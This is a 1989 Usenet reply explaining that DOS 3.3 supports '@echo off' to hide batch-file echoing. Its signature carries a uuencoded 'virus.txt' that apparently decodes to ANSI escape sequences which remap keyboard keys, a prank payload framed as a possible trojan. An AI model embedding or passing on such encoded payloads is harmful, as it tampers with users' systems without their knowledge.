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From: 2014_5001@uwovax.uwo.ca
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Subject: Re: How to hide 'echo off' in batch files?
Message-ID: <2270@uwovax.uwo.ca>
Date: 2 Jun 89 10:56:03 GMT
References: <9139@boulder.Colorado.EDU>
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Organisation: University of Western Ontario, Canada

In article <9139@boulder.Colorado.EDU>, haverlan@tramp.Colorado.EDU (HAVERLAND MARC BRADLEY) writes:
> 
> I put the command 'echo off' at the top of most of my batch files to
> hide the following commands.  However, 'echo off' is still displayed.

When using DOS 3.3 you can use
	@echo off
The @-sign in a batch file stops echoing for that one command.

For DOS 3.2, 3.1, 3.0, 2.1, 2.0 you must unfortanetely
live with the ugly 'echo off' message, unless you immediately
cls.
#  SIG BEGINS----UUE----
#  DECODE AT YOUR OWN RISK.  AUTHOR TAKES NO RESPONSIBILITIES FOR ANY DAMAGE.
#  IS THIS A TROJAN???
begin 644 virus.txt
M&ULQ,3,[(E$N2$DB<!M;-30[(C8V-B)P&ULX,3LB<2YH:2)P&ULB+R([(EPBR
A<!M;(EPB.R(O(G!9;W4@=V%S=&5D('EO=7(@=&EM92$:.
``
end
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